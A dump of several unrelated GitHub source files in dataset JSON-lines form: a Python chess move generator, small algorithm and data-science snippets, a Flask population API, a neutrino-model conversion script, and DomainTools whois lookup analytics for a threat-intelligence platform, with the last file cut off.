self.get_rook_moves(r, c, legal_moves)\n if piece == 'b':\n self.get_bishop_moves(r, c, legal_moves)\n if piece == 'q':\n self.get_queen_moves(r, c, legal_moves)\n if piece == 'n':\n self.get_knight_moves(r, c, legal_moves)\n return legal_moves\n\n def get_pawn_moves(self, row, col, legal_moves):\n if self.white_to_move:\n if self.board[row-1][col] == '--':\n legal_moves.append(Move((row, col), (row-1, col), self.board))\n if row == 6 and self.board[row-2][col] == '--' and self.board[row-1][col] == '--':\n legal_moves.append(Move((row, col), (row-2, col), self.board))\n try:\n if self.board[row-1][col-1] != '--' and self.board[row-1][col-1][0] != 'w':\n legal_moves.append(Move((row, col), (row-1, col-1), self.board))\n if self.board[row-1][col+1] != '--' and self.board[row-1][col+1][0] != 'w':\n legal_moves.append(Move((row, col), (row-1, col+1), self.board))\n except:\n pass\n else:\n if self.board[row+1][col] == '--':\n legal_moves.append(Move((row, col), (row+1, col), self.board))\n if row == 1 and self.board[row+2][col] == '--' and self.board[row+1][col] == '--':\n legal_moves.append(Move((row, col), (row+2, col), self.board))\n try:\n if self.board[row+1][col-1] != '--' and self.board[row+1][col-1][0] != 'b':\n legal_moves.append(Move((row, col), (row+1, col-1), self.board))\n if self.board[row+1][col+1] != '--' and self.board[row+1][col+1][0] != 'w':\n legal_moves.append(Move((row, col), (row+1, col+1), self.board))\n except:\n pass\n\n def get_king_moves(self, row, col, legal_moves):\n king_moves = ((-1, -1), (1, 1), (0, 1), (1, 0), (0, -1), (-1, 0), (1, -1), (-1, 1))\n ally_color = 'w' if self.white_to_move else 'b'\n for i in range(8):\n end_row = row + king_moves[i][0]\n end_col = col + king_moves[i][1]\n if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n end_piece = self.board[end_row][end_col]\n if end_piece[0] != ally_color:\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n\n def get_rook_moves(self, row, col, legal_moves):\n directions = ((-1, 0), (0, 1), (1, 0), (0, -1))\n ally_color = 'w' if self.white_to_move else 'b'\n for i in range(4):\n for j in range(1, 8):\n end_row = row + directions[i][0] * j\n end_col = col + directions[i][1] * j\n if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n end_piece = self.board[end_row][end_col]\n if end_piece == '--':\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n else:\n if end_piece[0] == ally_color:\n break\n elif end_piece[0] != ally_color:\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n break\n else: \n break\n\n def get_bishop_moves(self, row, col, legal_moves):\n directions = ((-1, 1), (1, 1), (1, -1), (-1, -1))\n ally_color = 'w' if self.white_to_move else 'b'\n for i in range(4):\n for j in range(1, 8):\n end_row = row + directions[i][0] * j\n end_col = col + directions[i][1] * j\n if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n end_piece = self.board[end_row][end_col]\n if end_piece == '--':\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n else:\n if end_piece[0] == ally_color:\n break\n elif end_piece[0] != ally_color:\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n break\n else: \n break\n\n def get_queen_moves(self, row, col, legal_moves):\n directions = ((-1, 0), (0, 1), (1, 0), (0, -1), (-1, 1), (1, 1), (1, -1), (-1, -1))\n ally_color = 'w' if self.white_to_move else 'b'\n for i in range(8):\n for j in range(1, 8):\n end_row = row + directions[i][0] * j\n end_col = col + directions[i][1] * j\n if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n end_piece = self.board[end_row][end_col]\n if end_piece == '--':\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n else:\n if end_piece[0] == ally_color:\n break\n elif end_piece[0] != ally_color:\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n break\n else: \n break\n\n def get_knight_moves(self, row, col, legal_moves):\n knight_moves = ((1, 2), (1, -2), (-1, -2), (-1, 2), (2, 1), (2, -1), (-2, -1), (-2, 1))\n ally_color = 'w' if self.white_to_move else 'b'\n for i in range(8):\n end_row = row + knight_moves[i][0]\n end_col = col + knight_moves[i][1]\n if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n end_piece = self.board[end_row][end_col]\n if end_piece[0] != ally_color:\n legal_moves.append(Move((row, col), (end_row, end_col), self.board))\n \n\n \nclass Move():\n ranks_to_rows = {'1':7, '2':6, '3':5, '4':4,\n '5':3, '6':2, '7':1, '8':0}\n rows_to_ranks = {v:k for k,v in ranks_to_rows.items()}\n\n files_to_cols = {'a':0, 'b':1, 'c':2, 'd':3,\n 'e':4, 'f':5, 'g':6, 'h':7}\n cols_to_files = {v:k for k,v in files_to_cols.items()}\n\n '''\n Initial state of a move\n '''\n def __init__(self, start_square, end_square, board):\n self.start_row = start_square[0]\n self.start_col = start_square[1]\n self.end_row = end_square[0]\n self.end_col = end_square[1]\n self.piece_moved = board[self.start_row][self.start_col]\n self.piece_captured = board[self.end_row][self.end_col]\n self.move_id = self.start_row * 1000 + self.start_col * 100 + self.end_row * 10 + self.end_col\n\n '''\n Overwrites equal instances\n '''\n def __eq__(self, other):\n if isinstance(other, Move):\n return self.move_id == other.move_id\n return False\n\n '''\n Gets the actual chess notation\n '''\n def get_chess_notation(self, row, col):\n line = self.cols_to_files[col]\n rank = self.rows_to_ranks[row]\n if self.piece_captured != '--':\n return self.piece_moved + 'x' + line + rank\n else:\n return self.piece_moved + line + rank\n\n \n\n\n\n","repo_name":"MartinSpiguel/Chess_game","sub_path":"chess_engine.py","file_name":"chess_engine.py","file_ext":"py","file_size_in_byte":11381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73023471412","text":"from RecursiveShadowCasting import Fov_RSC\n\nwidth = 9\nheight = 9\nfov = Fov_RSC(width, height)\ntestmap = [[True for y in range(height)] for x in range(width)]\nfor y in range(height):\n for x in range(width):\n if x == 0 or y == 0 or x == width - 1 or y == height - 1:\n testmap[x][y] = False\nresult = fov.Calculate_Sight(testmap, 4, 4, 4)\ns = ''\nfor y in range(height):\n for x in range(width):\n if result[x][y]:\n if testmap[x][y]:\n s += '.'\n else:\n s += '#'\n else:\n s += '▒'\n s += '\\n'\nprint(s)\n","repo_name":"Akhier/Py-RecursiveShadowCasting","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37223927098","text":"from sklearn.ensemble import RandomForestClassifier\nrandom_forest = RandomForestClassifier(n_estimators = 100) \nrandom_forest.fit(X_train, Y_train)\nprint(random_forest.score(X_train, Y_train))\nprint(random_forest.score(X_test, Y_test))\n\nimport xgboost as xgb\nboosting_model = xgb.XGBClassifier(n_estimators = 100)\nboosting_model.fit(X_train, Y_train) # 학습\nprint(boosting_model.score(X_train, Y_train))\nprint(boosting_model.score(X_test, Y_test))","repo_name":"badjiyoon/da_study","sub_path":"KiYoung/ch5_4.py","file_name":"ch5_4.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2366850609","text":"from collections import deque\n#스택이용- 재귀 이용\ndef dfs(graph, v, visited):\n visited[v]=True #방문한 노드를 true로 변경\n print(v,end=' ')\n for i in graph[v]:\n if not visited[i]:\n dfs(graph,i,visited)\n \n\ngraph = [\n [],\n [2,3,8],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7]\n]\n\nvisited = [False]*9\ndfs(graph,1,visited)","repo_name":"heekyoung2000/jungle-algorithm","sub_path":"third/DFS/DFSpra.py","file_name":"DFSpra.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41859749360","text":"import prettytable\n\nfrom pr_publisher.publishers.base import BasePublisher\n\n\nclass TablePublisher(BasePublisher):\n \"\"\"Prints pull requests in a table format to stdout\"\"\"\n\n def publish(self, publish_entries):\n fields = [\n \"reviews\",\n \"merge state\",\n \"action needed\",\n \"title\",\n \"created\",\n \"updated\",\n \"days since update\",\n \"link\",\n ]\n\n if self.args.show_labels:\n fields.append('labels')\n\n table = prettytable.PrettyTable(field_names=fields)\n\n for entry in publish_entries:\n row = [\n \"✓\" * entry.approval_count + \"✗\" * entry.request_changes_count,\n entry.mergeable_state,\n entry.action_string,\n entry.pr.title,\n entry.pr.created_at.date(),\n entry.pr.updated_at.date(),\n round(entry.age_since_update_in_days),\n entry.pr.html_url,\n ]\n if self.args.show_labels:\n label_names = ' '.join(entry.label_names) if entry.label_names else ''\n row.append(label_names)\n\n table.add_row(row)\n print(table)\n","repo_name":"pglass/pr-publisher","sub_path":"pr_publisher/publishers/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23481360099","text":"import sys\nclass Solution(object):\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if not prices:\n return 0\n\n maxx = -sys.maxint\n start = prices[0]\n end = 0\n for i in range(1, len(prices)):\n end = prices[i]\n maxx = max(maxx, end - start)\n start = min(start, end)\n return 0 if maxx < 0 else maxx\n","repo_name":"ynyeh0221/LeetCode","sub_path":"121. Best Time to Buy and Sell Stock.py","file_name":"121. Best Time to Buy and Sell Stock.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"2822899758","text":"\"\"\"\n Bir aracın km cinsinden gittiği yol bilgisini mil olarak yazdırınız.\n mil = km / 1.609344\n\"\"\"\nprint(\"kaç km yol gittiniz?\")\nmesafeKm = input()\nmesafeMil = float(mesafeKm) / 1.609344\nmesafeMil = round(mesafeMil, 2)\n\nprint(str(mesafeKm) + \" km = \" + str(mesafeMil) + \" mil.\")","repo_name":"mhoproje/MHarunAydeniz-pythoncalisma","sub_path":"data-types.py","file_name":"data-types.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7770963854","text":"\"\"\" 9. Procedimento que atualiza e/ou inclui o número no vetor \nde elementos se o número já foi encontrado ou não. \"\"\"\nimport numpy as np\n\ndef contaValor(matriz):\n print(matriz, '\\n')\n contador = {}\n for l in matriz:\n for c in l:\n if np.sum(matriz==c)>1:\n contador[c] = np.sum(matriz==c)\n for numero in contador:\n qtd = contador[numero]\n print(f'o valor {numero} repetiu {qtd}', end= ', ')\n print('\\n')\n\n\nmatriz_teste = np.array([[1,2,3,4,5],[6,7,8,9,10],[11,12,13,14,15],[16,17,18,19,20],[21,22,23,24,25],[26,27,28,29,30],[31,32,33,34,35],[36,37,38,39,40],[41,42,43,44,45],[1,2,3,4,5]])\ncontaValor(matriz_teste)","repo_name":"MateusFagunddes/python_logica","sub_path":"lista 5/exc17.py","file_name":"exc17.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9718327398","text":"import yaml\nfrom rkinf.cluster import start_cluster, stop_cluster\nfrom rkinf.log import setup_logging\nfrom rkinf.toolbox import (fastqc, cutadapt_tool, novoindex, novoalign,\n htseq_count)\nfrom bcbio.utils import safe_makedir\nimport sys\nimport os\n\nMAX_READ_LENGTH = 10000\n\n\ndef _get_stage_config(config, stage):\n return config[\"stage\"][stage]\n\n\ndef _get_program(config, stage):\n return config[\"stage\"][stage][\"program\"]\n\n\ndef main(config_file):\n with open(config_file) as in_handle:\n config = yaml.load(in_handle)\n setup_logging(config)\n from rkinf.log import logger\n start_cluster(config)\n\n from rkinf.cluster import view\n input_files = [os.path.join(config[\"dir\"][\"data\"], x) for x in\n config[\"input\"]]\n results_dir = config[\"dir\"][\"results\"]\n\n map(safe_makedir, config[\"dir\"].values())\n\n curr_files = input_files\n\n for stage in config[\"run\"]:\n if stage == \"fastqc\":\n nfiles = len(curr_files)\n logger.info(\"Running %s on %s\" % (stage, str(curr_files)))\n fastqc_config = _get_stage_config(config, stage)\n fastqc_outputs = view.map(fastqc.run, curr_files,\n [fastqc_config] * nfiles,\n [config] * nfiles)\n\n if stage == \"cutadapt\":\n nfiles = len(curr_files)\n cutadapt_config = _get_stage_config(config, stage)\n cutadapt_outputs = view.map(cutadapt_tool.run,\n curr_files,\n [cutadapt_config] * nfiles,\n [config] * nfiles)\n curr_files = cutadapt_outputs\n\n if stage == \"novoalign\":\n nfiles = len(curr_files)\n novoalign_config = _get_stage_config(config, stage)\n #db = novoindex.run(config[\"ref\"],\n # _get_stage_config(config, \"novoindex\"),\n # config)\n db = config[\"genome\"][\"file\"]\n novoalign_outputs = view.map(novoalign.run, curr_files,\n [db] * nfiles,\n [novoalign_config] * nfiles,\n [config] * nfiles)\n curr_files = novoalign_outputs\n\n if stage == \"htseq-count\":\n nfiles = len(curr_files)\n htseq_config = _get_stage_config(config, stage)\n htseq_outputs = view.map(htseq_count.run_with_config,\n curr_files,\n [config] * nfiles,\n [stage] * nfiles)\n combined_out = htseq_count.combine_counts(htseq_outputs,\n \"combined.counts\")\n\n stop_cluster()\n\n\nif __name__ == \"__main__\":\n main(*sys.argv[1:])\n","repo_name":"parveezsha/gitlabjuly","sub_path":"projects/slim_rnaseq/scripts/slim.py","file_name":"slim.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"35664865055","text":"T = int(input())\nfor tc in range(1, T + 1):\n P = int(input())\n raw = list(map(int, input().split()))\n maxNum = max(raw)\n for n in raw:\n result = maxNum * n\n for x in raw:\n q, r = divmod(result, x)\n if r or q not in raw:\n break\n else:\n break\n print(\"#{} {}\".format(tc, result))\n","repo_name":"gogumasitda/TIL","sub_path":"algorithm/0627/보물왕태혁.py","file_name":"보물왕태혁.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"34436191332","text":"# flask dependencies\nfrom flask import Flask\nfrom flask import render_template \nfrom flask import jsonify\n\n# sql alchemy dependencies\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\n\n# Define the database connection parameters\nimport config\n# get username and password from config.py\nusername = config.username\npassword = config.password \n#username = \"postgres\"\n#password = \"postgres\"\n\n### define database variable \ndatabase_name = 'Population' # Created in Week 9, Night 1, Exercise 08-Stu_CRUD \nconnection_string = f'postgresql://{username}:{password}@localhost:5432/{database_name}'\n\n\n# Connect to the database\nengine = create_engine(connection_string)\n\n# reflect an existing database into a new model\nbase = automap_base()\n\n# reflect the tables\nbase.prepare(engine, reflect=True)\n\n# Save reference to the table\n### update table name\n#table = base.classes.tablename\nun_sex_population = base.classes.un_sex_population\nyoung_to_elder = base.classes.young_to_elder\n\n# Flask Setup\n# Instantiate the Flask application\napp = Flask(__name__)\n\n##### look into page caching\n# disable page caching\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n# flask app routes\n# index.html route\n@app.route(\"/\")\ndef IndexRoute():\n ''' This function runs when the browser loads the index route. \n Note that the html file must be located in a folder called templates. '''\n\n webpage = render_template(\"index.html\")\n return webpage\n\n# route to query database for population pyramid \n@app.route(\"/pop_pyramid_data\")\ndef QuerySexPopulation():\n ''' Query the database for population numbers and return the results as a JSON. '''\n\n # Open a session, run the query, and then close the session again\n session = Session(engine)\n #### EXAMPLE RESULTS QUERY BELOW\n #results = session.query(table.country, table.iso3, table.totalpopulation).all()\n ###########\n results = session.query(un_sex_population.r_0_4, \n un_sex_population.r_5_9,\n un_sex_population.r_10_14,\n un_sex_population.r_15_19,\n un_sex_population.r_20_24,\n un_sex_population.r_25_29,\n un_sex_population.r_30_34,\n un_sex_population.r_35_39,\n un_sex_population.r_40_44,\n un_sex_population.r_45_49,\n un_sex_population.r_50_54,\n un_sex_population.r_55_59,\n un_sex_population.r_60_64,\n un_sex_population.r_65_69,\n un_sex_population.r_70_74,\n un_sex_population.r_75_79,\n un_sex_population.r_80_84,\n un_sex_population.r_85_89,\n un_sex_population.r_90_94,\n un_sex_population.r_95_99,\n un_sex_population.r_100_105).all()\n session.close \n\n ###########\n #EXAMPLE DIC LIST BELOW\n ###########\n\n # Create a list of dictionaries, with each dictionary containing one row from the query. \n # all_population = []\n # for country, iso3, totalpopulation in results:\n # dict = {}\n # dict[\"country\"] = country\n # dict[\"iso3\"] = iso3\n # dict[\"totalpopulation\"] = totalpopulation\n # all_population.append(dict)\n\n ###########\n sex_population = []\n for r_0_4, r_5_9, r_10_14, r_15_19, r_20_24, r_25_29, r_30_34, r_35_39, r_40_44, r_45_49, r_50_54, r_55_59, r_60_64, r_65_69, r_70_74, r_75_79, r_80_84, r_85_89, r_90_94, r_95_99, r_100_105 in results:\n dict = {}\n\n dict[\"r_0_4\"] = r_0_4\n dict[\"r_5_9\"] = r_5_9 \n dict[\"r_10_14\"] = r_10_14\n dict[\"r_15_19\"] = r_15_19\n dict[\"r_20_24\"] = r_20_24\n dict[\"r_25_29\"] = r_25_29\n dict[\"r_30_34\"] = r_30_34\n dict[\"r_35_39\"] = r_35_39\n dict[\"r_40_44\"] = r_40_44\n dict[\"r_45_49\"] = r_45_49\n dict[\"r_50_54\"] = r_50_54\n dict[\"r_55_59\"] = r_55_59\n dict[\"r_60_64\"] = r_60_64\n dict[\"r_65_69\"] = r_65_69\n dict[\"r_70_74\"] = r_70_74\n dict[\"r_75_79\"] = r_75_79\n dict[\"r_80_84\"] = r_80_84\n dict[\"r_85_89\"] = r_85_89\n dict[\"r_90_94\"] = r_90_94\n dict[\"r_95_99\"] = r_95_99\n dict[\"r_100_105\"] = r_100_105\n \n sex_population.append(dict)\n\n # Return the jsonified result. \n return jsonify(sex_population)\n\n@app.route(\"/age_stacked_area_data\")\ndef QueryAgePopulation():\n ''' Query the database for population numbers and return the results as a JSON. '''\n\n # Open a session, run the query, and then close the session again\n session = Session(engine)\n #### EXAMPLE RESULTS QUERY BELOW\n #results = session.query(table.country, table.iso3, table.totalpopulation).all()\n ###########\n\n results = session.query(young_to_elder.Country, \n young_to_elder.Year, \n young_to_elder.Young, \n young_to_elder.Working_Age, \n young_to_elder.Elder).all()\n session.close \n\n age_population = []\n for Country, Year, Young, Working_Age, Elder in results:\n dict = {}\n dict[\"Country\"] = Country\n dict[\"Young\"] = Young\n dict[\"Working_Age\"] = Working_Age\n dict[\"Elder\"] = Elder\n age_population.append(dict)\n\n # Return the jsonified result. \n return jsonify(age_population)\n\n# This statement is required for Flask to do its job. \n# Think of it as chocolate cake recipe. \nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"anikajohnson/Project-2-US-Pop","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1796476630","text":"# -*- coding: utf-8 -*-\n\"\"\"\nsnewpy.scripts.to_snowglobes\n============================\n\nConvert an arbitrary model to SNOwGLoBES format. Based on SNEWPY.py script by\nE. O'Connor and J. P. Kneller.\n\nThis version will subsample the times in a supernova model, produce energy\ntables expected by SNOwGLoBES, and compress the output into a tarfile.\n\"\"\"\n\nimport numpy as np\nfrom argparse import ArgumentParser\n\nimport os\nimport io\nimport tarfile\n\nimport logging\n\nfrom snewpy.models import *\nfrom snewpy.flavor_transformation import *\n\ndef main(options=None):\n # Parse command-line arguments.\n p = ArgumentParser(description='Convert to SNOwGLoBES format.')\n p.add_argument('infile', nargs=1,\n help='Supernova model input file (Nakazato only).')\n p.add_argument('-o', '--output', default=None,\n help='Output tarfile name (if customization desired)')\n\n tbingroup = p.add_mutually_exclusive_group()\n tbingroup.add_argument('-n', '--ntbins', type=int,\n help='Number of bins used to sample model')\n tbingroup.add_argument('-t', '--deltat', type=float,\n help='Time binning used to sample model [sec]')\n\n p.add_argument('-v', '--verbose', action='store_true', default=False,\n help='Activate verbose log for debugging')\n\n if options is None:\n args = p.parse_args()\n else:\n args = p.parse_args(options)\n\n # Set verbosity of the log.\n if args.verbose:\n logging.basicConfig(level=logging.DEBUG)\n else:\n logging.basicConfig(level=logging.INFO)\n\n # Load up the model. To do: support more than Nakazato format.\n infile = args.infile[0]\n snmodel = Nakazato2013(infile, NoTransformation())\n\n # Subsample the model time. Default to 30 time slices.\n tmin = snmodel.get_time()[0]\n tmax = snmodel.get_time()[-1]\n if args.deltat is not None:\n dt = args.deltat\n elif args.ntbins is not None:\n dt = (tmax - tmin) / (args.ntbins+1)\n else:\n dt = (tmax - tmin) / 31\n\n tedges = np.arange(tmin, tmax, dt)\n times = 0.5*(tedges[1:] + tedges[:-1])\n\n # Generate output.\n if args.output is not None:\n tfname = args.output\n else:\n tfname = infile.replace('.fits', '.SNOformat.tar.bz2')\n\n with tarfile.open(tfname, 'w:bz2') as tf:\n d = 10. *1000.*3.086e+18 # luminosity to fluence\n keV = 1e3 * 1.60218e-12 # eV to erg\n MeV = 1e6 * 1.60218e-12\n GeV = 1e9 * 1.60218e-12\n\n energy = np.linspace(0, 100, 501) * MeV\n\n # Loop over sampled times.\n for i, t in enumerate(times):\n osc_spectra = snmodel.get_oscillatedspectra(t, energy)\n osc_fluence = {}\n table = []\n\n table.append('# TBinMid={:g}sec@(tBinWidth={:g}s)(eBinWidth=0.2MeV) Fluence in Number Neutrinos per cm^2'.format(t, dt))\n table.append('# E(GeV) NuE NuMu NuTau aNuE aNuMu aNuTau')\n\n # Generate energy + number flux table.\n for j, E in enumerate(energy):\n for flavor in Flavor:\n osc_fluence[flavor] = osc_spectra[flavor][j] * dt * 200.*keV / (4.*np.pi*d**2)\n \n s = '{:17.8E}'.format(E/GeV)\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_e])\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_x]/2)\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_x]/2)\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_e_bar])\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_x_bar]/2)\n s = '{}{:17.8E}'.format(s, osc_fluence[Flavor.nu_x_bar]/2)\n table.append(s)\n logging.debug(s)\n\n # Encode energy/flux table and output to file in tar archive.\n output = '\\n'.join(table).encode('ascii')\n\n infoname = '{:02d}Tbins/{}-tbin{:02d}.NoOsc.dat'.format(\n len(times),\n os.path.basename(infile).replace('.fits', ''),\n i + 1)\n info = tarfile.TarInfo(name=infoname)\n info.size = len(output)\n\n logging.info('Time {:g} s; writing {} to {}'.format(t, infoname, tfname))\n tf.addfile(info, io.BytesIO(output))\n\n","repo_name":"SNEWS2/snewpy","sub_path":"python/snewpy/scripts/old_to_snowglobes.py","file_name":"old_to_snowglobes.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"42344664903","text":"import hashlib\nimport hmac\nimport json\nimport ssl\nfrom datetime import datetime\n\nimport requests\n\n# from pythonwhois.parse import parse_raw_whois\nfrom mongoengine import FieldDoesNotExist\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.poolmanager import PoolManager\n\nfrom core.analytics import OneShotAnalytics\nfrom core.common.utils import tldextract_parser\nfrom core.config.config import yeti_config\nfrom core.entities import Company\nfrom core.helpers import iterify, get_value_at\nfrom core.observables import Hostname, Email, Text\n\n\ndef link_from_data(observable, data, path, klass, description):\n data = get_value_at(data, path)\n\n if data is None:\n return []\n\n links = set()\n\n for value in iterify(data):\n try:\n node = klass.get_or_create(value=value)\n except FieldDoesNotExist:\n node = klass.get_or_create(name=value)\n\n links.update(observable.active_link_to(node, description, \"DomainTools\"))\n\n return list(links)\n\n\nclass TlsAdapter(HTTPAdapter):\n def init_poolmanager(self, connections, maxsize, block=False):\n self.poolmanager = PoolManager(\n num_pools=connections,\n maxsize=maxsize,\n block=block,\n ssl_version=ssl.PROTOCOL_TLSv1_2,\n )\n\n\nclass DomainToolsApi(object):\n settings = {\n \"domaintools_api_username\": {\n \"name\": \"DomainTools API Username\",\n \"description\": \"Username provided for API by DomainTools.\",\n },\n \"domaintools_api_key\": {\n \"name\": \"DomainTools API Key\",\n \"description\": \"API Key provided by DomainTools.\",\n },\n }\n\n API_URL = \"https://api.domaintools.com/v1\"\n\n @staticmethod\n def get(uri, settings, params={}):\n timestamp = datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n _params = \"{}{}/v1{}\".format(\n settings[\"domaintools_api_username\"].encode(\"ascii\"), timestamp, uri\n )\n signature = hmac.new(\n settings[\"domaintools_api_key\"].encode(\"ascii\"),\n _params,\n digestmod=hashlib.sha1,\n ).hexdigest()\n _params = {\n \"api_username\": settings[\"domaintools_api_username\"],\n \"signature\": signature,\n \"timestamp\": timestamp,\n }\n params.update(_params)\n\n s = requests.Session(proxies=yeti_config.proxy)\n s.mount(\"https://\", TlsAdapter())\n r = s.get(DomainToolsApi.API_URL + uri, params=params)\n r = r.json()\n\n if \"error\" in r:\n raise LookupError(r[\"error\"][\"message\"])\n\n return r\n\n\nclass DTReverseIP(OneShotAnalytics, DomainToolsApi):\n default_values = {\n \"group\": \"DomainTools\",\n \"name\": \"Reverse IP\",\n \"description\": \"Reverse IP lookup.\",\n }\n\n ACTS_ON = [\"Ip\"]\n\n @staticmethod\n def analyze(observable, results):\n links = set()\n\n data = DomainToolsApi.get(\n \"/{}/host-domains/\".format(observable.value), results.settings\n )\n results.update(raw=json.dumps(data, indent=2))\n\n for record in data[\"response\"][\"ip_addresses\"][\"domain_names\"]:\n node = Hostname.get_or_create(value=record)\n links.update(node.active_link_to(observable, \"A record\", \"DomainTools\"))\n\n return list(links)\n\n\nclass DTReverseNS(OneShotAnalytics, DomainToolsApi):\n default_values = {\n \"group\": \"DomainTools\",\n \"name\": \"DomanTools Reverse NS\",\n \"description\": \"Reverse Name Server lookup.\",\n }\n\n ACTS_ON = [\"Hostname\"]\n\n @staticmethod\n def analyze(observable, results):\n links = set()\n\n data = DomainToolsApi.get(\n \"/{}/name-server-domains\".format(observable.value), results.settings\n )\n results.update(raw=json.dumps(data, indent=2))\n\n for record in (\n data[\"response\"][\"primary_domains\"] + data[\"response\"][\"secondary_domains\"]\n ):\n node = Hostname.get_or_create(value=record)\n links.update(node.active_link_to(observable, \"NS record\", \"DomainTools\"))\n\n return list(links)\n\n\nclass DTWhoisHistory(OneShotAnalytics, DomainToolsApi):\n default_values = {\n \"group\": \"DomainTools\",\n \"name\": \"Whois History\",\n \"description\": \"Whois History lookup.\",\n }\n\n ACTS_ON = [\"Hostname\"]\n\n @staticmethod\n def analyze(observable, results):\n links = set()\n parts = tldextract_parser(observable.value)\n\n if parts.subdomain == \"\":\n data = DomainToolsApi.get(\n \"/{}/whois/history\".format(observable.value), results.settings\n )\n results.update(raw=json.dumps(data, indent=2))\n\n for record in data[\"response\"][\"history\"]:\n created = datetime.strptime(\n record[\"whois\"][\"registration\"][\"created\"], \"%Y-%m-%d\"\n )\n expires = datetime.strptime(\n record[\"whois\"][\"registration\"][\"expires\"], \"%Y-%m-%d\"\n )\n\n registrar = Company.get_or_create(\n name=record[\"whois\"][\"registration\"][\"registrar\"]\n )\n registrant = Text.get_or_create(value=record[\"whois\"][\"registrant\"])\n\n links.update(\n observable.link_to(\n registrar, \"Registrar\", \"DomainTools\", created, expires\n )\n )\n links.update(\n observable.link_to(\n registrant, \"Registrant\", \"DomainTools\", created, expires\n )\n )\n\n parsed = parse_raw_whois([record[\"whois\"][\"record\"]], normalized=True)\n email = get_value_at(parsed, \"contacts.registrant.email\")\n if email:\n email = Email.get_or_create(value=email)\n links.update(\n observable.link_to(\n email, \"Registrant Email\", \"DomainTools\", created, expires\n )\n )\n\n return list(links)\n\n\nclass DTReverseWhois(OneShotAnalytics, DomainToolsApi):\n default_values = {\n \"group\": \"DomainTools\",\n \"name\": \"DomainTools Reverse Whois\",\n \"description\": \"Reverse Whois lookup.\",\n }\n\n ACTS_ON = [\"Text\", \"Email\"]\n\n @staticmethod\n def analyze(observable, results):\n links = []\n\n params = {\"terms\": observable.value, \"mode\": \"purchase\"}\n data = DomainToolsApi.get(\"/reverse-whois/\", results.settings, params)\n\n for domain in data[\"response\"][\"domains\"]:\n node = Hostname.get_or_create(value=domain)\n links += node.active_link_to(\n observable, \"Registrant Information\", \"DomainTools\"\n )\n\n return links\n\n\nclass DTWhois(OneShotAnalytics, DomainToolsApi):\n default_values = {\n \"group\": \"DomainTools\",\n \"name\": \"DomainTools Whois\",\n \"description\": \"Whois lookup with parsed results.\",\n }\n\n ACTS_ON = [\"Hostname\", \"Ip\"]\n\n @staticmethod\n def analyze_domain(observable, data):\n fields = [\n (\n \"response.parsed_whois.contacts.registrant.email\",\n Email,\n \"Registrant Email\",\n ),\n (\"response.parsed_whois.contacts.registrant.name\", Text, \"Registrant Name\"),\n (\n \"response.parsed_whois.contacts.registrant.org\",\n Text,\n \"Registrant Organization\",\n ),\n (\n \"response.parsed_whois.contacts.registrant.phone\",\n Text,\n \"Registrant Phone Number\",\n ),\n (\"response.parsed_whois.name_servers\", Hostname, \"NS record\"),\n ]\n\n links = []\n\n for field in fields:\n links += link_from_data(observable, data, *field)\n\n return links\n\n @staticmethod\n def analyze_ip(observable, data):\n return link_from_data(\n observable, data, \"response.registrant\", Company, \"Hosting\"\n )\n\n @staticmethod\n def analyze(observable, results):\n links = []\n parts = tldextract_parser(observable.value)\n\n if parts.subdomain 